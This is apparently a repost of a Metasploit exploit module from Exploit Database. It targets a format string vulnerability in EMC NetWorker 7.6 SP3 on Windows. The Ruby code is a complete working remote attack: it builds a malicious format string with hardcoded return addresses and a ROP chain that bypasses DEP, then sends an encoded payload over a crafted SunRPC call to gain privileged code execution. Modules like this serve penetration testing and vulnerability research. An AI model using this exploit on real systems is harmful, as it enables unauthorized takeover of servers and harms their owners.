EMC NetWorker – Format String (Metasploit)

• Exploit Database
• 13 阅读

• 作者： Metasploit
  日期： 2012-11-07
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/22525/

• ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # web site for more information on licensing and terms of use.
  # http://metasploit.com/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = NormalRanking
  
  	include Msf::Exploit::Remote::SunRPC
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'EMC Networker Format String',
  			'Description'=> %q{
  					This module exploits a format string vulnerability in the lg_sprintf function
  				as implemented in liblocal.dll on EMC Networker products. This module exploits the
  				vulnerability by using a specially crafted RPC call to the program number 0x5F3DD,
  				version 0x02, and procedure 0x06. This module has been tested successfully on EMC
  				Networker 7.6 SP3 on Windows XP SP3 and Windows 2003 SP2 (DEP bypass).
  			},
  			'Author' =>
  				[
  					'Aaron Portnoy', # Vulnerability Discovery and analysis
  					'Luigi Auriemma <aluigi[at]autistici.org>', # Vulnerability Discovery and analysis
  					'juan vazquez' # Metasploit module
  				],
  			'References' =>
  				[
  					[ 'CVE', '2012-2288' ],
  					[ 'OSVDB', '85116' ],
  					[ 'BID', '55330' ],
  					[ 'URL', 'http://blog.exodusintel.com/2012/08/29/when-wrapping-it-up-goes-wrong/' ],
  					[ 'URL', 'http://aluigi.altervista.org/misc/aluigi0216_story.txt' ]
  				],
  			'Platform' => [ 'win' ],
  			'Payload'=>
  				{
  					'BadChars' => "\x00\x0d\x0a\x25\x2a",
  					'DisableNops' => true,
  					'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
  				},
  			'Targets'=>
  				[
  					['EMC Networker 7.6 SP3 / Windows Universal',
  						{
  							'Ret' => 0x7c354dac, # ret from MSVCR71.dll
  							'Offset' => 156,
  							'DEP' => true
  						}
  					],
  					['EMC Networker 7.6 SP3 / Windows XP SP3',
  						{
  							'Ret' => 0x7c345c30, # push esp # ret from MSVCR71.dll
  							'Offset' => 156,
  							'DEP' => false
  						}
  					],
  					['EMC Networker 7.6 SP3 / Windows 2003 SP2',
  						{
  							'Ret' => 0x7c354dac, # ret from MSVCR71.dll
  							'Offset' => 156,
  							'DEP' => true
  						}
  					]
  				],
  			'DefaultTarget'=> 0,
  			'Privileged' => true,
  			'DisclosureDate' => 'Aug 29 2012'))
  
  	end
  
  	def exploit
  
  		begin
  			if (not sunrpc_create('tcp', 0x5F3DD, 2))
  				fail_with(Exploit::Failure::Unknown, 'sunrpc_create failed')
  			end
  
  			fs = "%n" * target['Offset']
  			fs << [target.ret].pack("V") # push esp # ret from MSVCR71.dll
  			if target['DEP']
  				rop_gadgets =
  					[
  						# rop chain generated with mona.py
  						# The RopDb mixin isn't used because there are badchars
  						# which must be avoided
  						0x7c354dab,	# POP EBP # RETN [MSVCR71.dll]
  						0x7c354dab,	# skip 4 bytes [MSVCR71.dll]
  						0x7c37678f,	# POP EAX # RETN [MSVCR71.dll]
  						0xfffffdff,	# Value to negate, will become 0x00000201
  						0x7c34d749,	# NEG EAX # RETN [MSVCR71.dll]
  						0x7c362688,	# POP EBX # RETN [MSVCR71.dll]
  						0xffffffff,	#
  						0x7c345255,	# INC EBX # FPATAN # RETN [MSVCR71.dll]
  						0x7c363cff,	# ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN [MSVCR71.dll]
  						0x7c34592b,	# POP EDX # RETN [MSVCR71.dll]
  						0xffffffc0,	# Value to negate, will become 0x00000040
  						0x7c351eb1,	# NEG EDX # RETN [MSVCR71.dll]
  						0x7c37765f,	# POP ECX # RETN [MSVCR71.dll]
  						0x7c38ecfe,	# &Writable location [MSVCR71.dll]
  						0x7c34a490,	# POP EDI # RETN [MSVCR71.dll]
  						0x7c347f98,	# RETN (ROP NOP) [MSVCR71.dll]
  						0x7c364612,	# POP ESI # RETN [MSVCR71.dll]
  						0x7c3415a2,	# JMP [EAX] [MSVCR71.dll]
  						0x7c344cc1,	# POP EAX # RETN [MSVCR71.dll]
  						0x7c37a151, # ptr to &VirtualProtect() - 0x0EF [IAT msvcr71.dll]
  						0x7c378c81,	# PUSHAD # ADD AL,0EF # RETN [MSVCR71.dll]
  						0x7c345c30,	# ptr to 'push esp #ret ' [MSVCR71.dll]
  					].pack("V*")
  				fs << rop_gadgets
  			end
  			fs << payload.encoded
  
  			xdr = XDR.encode(0, 2, rand_text_alpha(10), XDR.encode(fs, rand_text_alpha(10)), 2)
  			sunrpc_call(6, xdr)
  			sunrpc_destroy
  
  		rescue Rex::Proto::SunRPC::RPCTimeout
  			print_error('RPCTimeout')
  		rescue EOFError
  			print_error('EOFError')
  		end
  	end
  
  end